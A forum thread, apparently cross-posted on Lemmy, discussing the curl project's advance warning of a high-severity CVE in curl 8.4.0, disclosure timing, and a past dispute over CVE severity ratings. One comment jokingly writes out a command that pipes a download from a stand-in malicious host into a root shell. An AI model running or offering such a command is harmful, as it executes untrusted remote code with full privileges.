cross-posted from: https://biglemmowski.win/post/224873
Posted on twitter by Curl author Daniel Stenberg - https://nitter.cz/bagder/status/1709103920914526525
We are cutting the release cycle short and will release curl 8.4.0 on October 11, including a fix for a severity HIGH CVE. Buckle up.
… But this time actually the worst security problem found in curl in a long time
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-38545
You must log in or register to comment.
It’s vulnerabilities month or what?
Bugtober?
Spooky
🐛 month
There sure has been a lot of CVE’s in the last couple of weeks!
For real. One with .webp, one with privilege escalation, and now this.
Canonical has been aggressively expanding their security team, and Levels.fyi showed last quarter that security researchers were some of the highest paid forms of software development.
Doesn’t guarantee anything long-term, but there’s a few suggestions that security has gotten a larger focus lately.
Good. There’s so much chain of trust in the OSS community that it’s hard to keep up with the tens of thousands of libraries that literally hold up the Internet.
It’s a shame we discover these critical bugs so late in the process, but at least we discover them at all…
deleted by creator
ffmpeg has to be the runner up for most-got-damned-options.
Ironically, most-god-damned-options is a valid ffmpeg argument list.
I don’t even bother to read the ffmpeg man page for its options. StackOverflow is the primary reference now.
I’d rather they didn’t announce it existed before announcing what it is… now we’ve got to sit around for a week potentially knowing the curl command could give someone root access or something.
If they annoubce what is it, attackers could use the bug to exploit systems before people get chance to update.
Though I worry its possible to know what the bug is by reviewing changes in curl source code
The exploit is years old and has been unknown until recently, and they specifically didn’t list which versions are affected to avoid making it easier to figure out through code changes.
So don’t announce anything… keep it quiet until the fixes are ready.
Now potential hackers know there’s a flaw there and will be looking for it, and they have clear space to do so before anyone can fix it.
From what I’ve heard, it’s to give companies time to prep for downtime to patch. If they just released the fix now, companies would have to scramble to deal with unexpected downtime.
I believe package maintainers have also been given the fix early to prepare it for release. That means there’s no waiting for Ubuntu or whoever to have the update available.
I don’t see how a vulnerability in Curl can exist at all unless it’s privilege escalation (you don’t run curl as root do you?) And if it’s not a privilege escalation, then it sounds like it’s just a “root user can do things that you can do as root, possibly unintended” which isn’t a vulnerability at all.
sudo curl www.badactor.ru/hackme | bash !!!
Could be an RCE exploit. Doesn’t matter if it’s privilege escalation at that point because it can be used to execute a payload that can.
To top it of it seems it’s also contained in libcurl, and getting RCEd just by doing a request does not sound fun.
I’ll admit i’m out of my depth about exactly how curl works on the local system, but surely if there is a vulnerability in the “libcurl” library that is much more serious and severe then just saying “curl” is vulnerable.
I’m assuming that libcurl touches a huge amount of the linux network stack.
They specifically say the high vulnerability one affects the command line tool, not just the library. High implies privilege escalation… I’m wondering how at this point because it’s not setuid and there’s really no reason opening a TCP socket could cause it (and if it does, that’s a kernel error not curl).
Could be something curl parses that escapes the intended program boundaries. Basically the same way the latest image vulnerabilities affecting iOS, Android and browsers has been happening
deleted by creator
Didn’t Daniel Stenberg just go on a bitchfit a month ago about how CVE is bad and useless and wasting his time?
Reading the blog post, it’s a lot more nuanced than that: someone reported a CVE, which was related to a possible int overflow in client code handling the timeout between requests. NVD chose to grade this as a 9.8/10 on their severity scale (for context, CVE-2014-0160, also known as Heartbleed, got a 7.5/10), which is ludicrous for a bug which could at most change the retry timeout of your request from your intended years to a few seconds. Daniel says that this is not a security vulnerability at all and has no business being listed on the CVE database, whereas NVD argues that it’s a bug, it’s been reported to them and because overflows are undefined behavior, anything can happen and so it’s a security vulnerability.
In the end, they agreed to at least adjust the severity down to a 3.3, but I can understand that Daniel is still somewhat miffed about it. Personally I also agree that it’s not really a security issue and that even a 3.3 is too high in terms of severity.
Are we reading the same article? I read it when it came out, and read it a second time now. The article:
- is not a bitchfit
- nowhere states CVE is bad or useless (it even links a list of CVEs directly hosted on curl’s website)
The article is about missing checks in the CVE ecosystem that allows useless fearmongering perpetrated by badly filed CVEs to spread, citing one particular CVE as exemplary of all the faults
Are we reading the same article?
You assume they’ve read the article 😬
I’m not sure, but I think they’re able to review their own CVEs now, or at least they were trying to be able to after 2020-19909. Because companies like Microsoft, Intel, and stuff already do. (I believe the term is CNA)
